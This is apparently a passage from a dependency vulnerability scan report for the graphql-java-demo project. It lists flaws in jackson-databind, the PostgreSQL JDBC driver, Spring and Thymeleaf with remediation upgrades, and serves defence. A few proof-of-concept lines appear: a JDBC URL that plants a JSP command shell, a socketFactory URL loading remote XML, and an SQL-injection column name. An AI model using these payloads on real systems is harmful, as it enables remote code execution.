  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.jsecurity.realm.jndi.JndiRealmFactory.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.5 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.5.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It is possible to conduct a Deserialization attack using the oadd.org.apache.xalan.lib.sql.JNDIConnectionPool (apache/drill) class gadget if polymorphic type handling is enabled and an application using this package allows user input which gets deserialized.

Note: This vulnerability does not affect release 2.10.0 onward.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.5 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.5.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It is possible to conduct a Deserialization attack using any of the following class gadget available within weblogic/oracle-aqjms if polymorphic type handling is enabled and an application using this package allows user input which gets deserialized.

  • oracle.jms.AQjmsQueueConnectionFactory
  • oracle.jms.AQjmsXATopicConnectionFactory
  • oracle.jms.AQjmsTopicConnectionFactory
  • oracle.jms.AQjmsXAQueueConnectionFactory
  • oracle.jms.AQjmsXAConnectionFactory

Note: This vulnerability does not affect release 2.10.0 onward.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.5 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.6.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPDataSource (aka Anteros-DBCP).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.6 or higher.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@42.2.10

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.postgresql:postgresql@42.2.10
    Remediation: Upgrade to org.postgresql:postgresql@42.3.3.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Arbitrary Code Injection. DISPUTED

When an arbitrary filename is specified in the loggerFileName connection parameter, a valid JSP file is created and a Remote Code Execution could be performed.

Note: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.

PoC

jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>

Remediation

Upgrade org.postgresql:postgresql to version 42.3.3 or higher.

References

high severity

Access Restriction Bypass

  • Vulnerable module: org.springframework.boot:spring-boot-actuator-autoconfigure
  • Introduced through: com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@12.0.0.

Overview

Affected versions of this package are vulnerable to Access Restriction Bypass due to improper implementation of wildcard pattern matching.

An application is vulnerable when all of the following are true:

  1. Users have code that can handle requests matching /cloudfoundryapplication/**. Typically, this will be if there is a catch-all request mapping which matches /**

  2. The application is deployed to Cloud Foundry.

Note: Applications using Spring Cloud Config Server can handle requests to /cloudfoundryapplication/** by default and can be vulnerable if deployed to Cloud Foundry.

An application is not vulnerable if any of the following is true:

  1. The application is not deployed to Cloud Foundry

  2. Users have disabled Cloud Foundry actuator endpoints with management.cloudfoundry.enabled set to false

  3. The application does not have handler mappings that can handle requests to /cloudfoundryapplication/**

Workaround

Users who are unable to upgrade to the fixed version can disable Cloud Foundry actuator endpoints by setting management.cloudfoundry.enabled to false.

Remediation

Upgrade org.springframework.boot:spring-boot-actuator-autoconfigure to version 2.5.15, 2.6.15, 2.7.11, 3.0.6 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: org.thymeleaf:thymeleaf-spring5
  • Introduced through: com.graphql-java-kickstart:playground-spring-boot-starter@5.10.0

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:playground-spring-boot-starter@5.10.0 com.graphql-java-kickstart:playground-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-thymeleaf@2.1.6.RELEASE org.thymeleaf:thymeleaf-spring5@3.0.11.RELEASE

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when thymeleaf is combined with specific scenarios in template. An attacker can inject malicious input through the render function in AjaxThymeleafView.java, leading to remote code execution.

Remediation

Upgrade org.thymeleaf:thymeleaf-spring5 to version 3.0.13.RELEASE or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.6.1.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.12.7.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@12.1.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@12.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) via a large depth of nested objects.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.6.1, 2.13.2.1 or higher.

References

high severity

Stack-based Buffer Overflow

  • Vulnerable module: com.graphql-java:graphql-java
  • Introduced through: com.graphql-java-kickstart:graphql-java-tools@5.6.1 and com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.graphql-java:graphql-java@13.0
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@13.0.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.graphql-java:graphql-java@13.0
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.graphql-java:graphql-java@13.0
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

Affected versions of this package are vulnerable to Stack-based Buffer Overflow when processing a deeply recursive GraphQL query. An attacker can send such a query to exhaust stack memory and cause a crash.

Remediation

Upgrade com.graphql-java:graphql-java to version 0.0.0-2023-03-20T01-49-44-80e3135, 17.5, 18.4, 19.4, 20.1 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@42.2.10

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.postgresql:postgresql@42.2.10
    Remediation: Upgrade to org.postgresql:postgresql@42.2.25.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when using certain plugin features. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, and sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

PoC

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

Remediation

Upgrade org.postgresql:postgresql to version 42.2.25, 42.3.2 or higher.

References

high severity

SQL Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@42.2.10

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.postgresql:postgresql@42.2.10
    Remediation: Upgrade to org.postgresql:postgresql@42.2.26.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to SQL Injection via the java.sql.ResultRow.refreshRow() function in jdbc/PgResultSet.java, due to insufficient escaping column names. An attacker with control of the underlying database can name a column with a string containing a semicolon or other statement terminator, then convince a user to run a query against the table with the compromised column, and then have the application run ResultSet.refreshRow(), to execute code.

NOTE:

  • An application that only connects to its own database with a fixed schema with no DDL permissions is not affected by this vulnerability.
  • Additionally, applications that do not invoke ResultSet.refreshRow() are not affected.

PoC:

CREATE TABLE refresh_row_example (
  id     int PRIMARY KEY,
  "1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * " int
);

Remediation

Upgrade org.postgresql:postgresql to version 42.2.26, 42.3.7, 42.4.1 or higher.

References

medium severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: commons-io:commons-io
  • Introduced through: com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 commons-io:commons-io@2.6
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

commons-io:commons-io is a The Apache Commons IO library contains utility classes, stream implementations, file filters, file comparators, endian transformation classes, and much more.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') through the XmlStreamReader class. An attacker can cause the application to consume excessive CPU resources by sending specially crafted XML content.

Remediation

Upgrade commons-io:commons-io to version 2.14.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.springframework:spring-messaging
  • Introduced through: com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-websocket@2.1.6.RELEASE org.springframework:spring-messaging@5.1.8.RELEASE
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@12.0.0.

Overview

org.springframework:spring-messaging is a framework and inversion of control container for the Java platform.

Affected versions of this package are vulnerable to Denial of Service (DoS) when the application is used with a STOMP over WebSocket endpoint.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.springframework:spring-messaging to version 5.2.22.RELEASE, 5.3.20 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

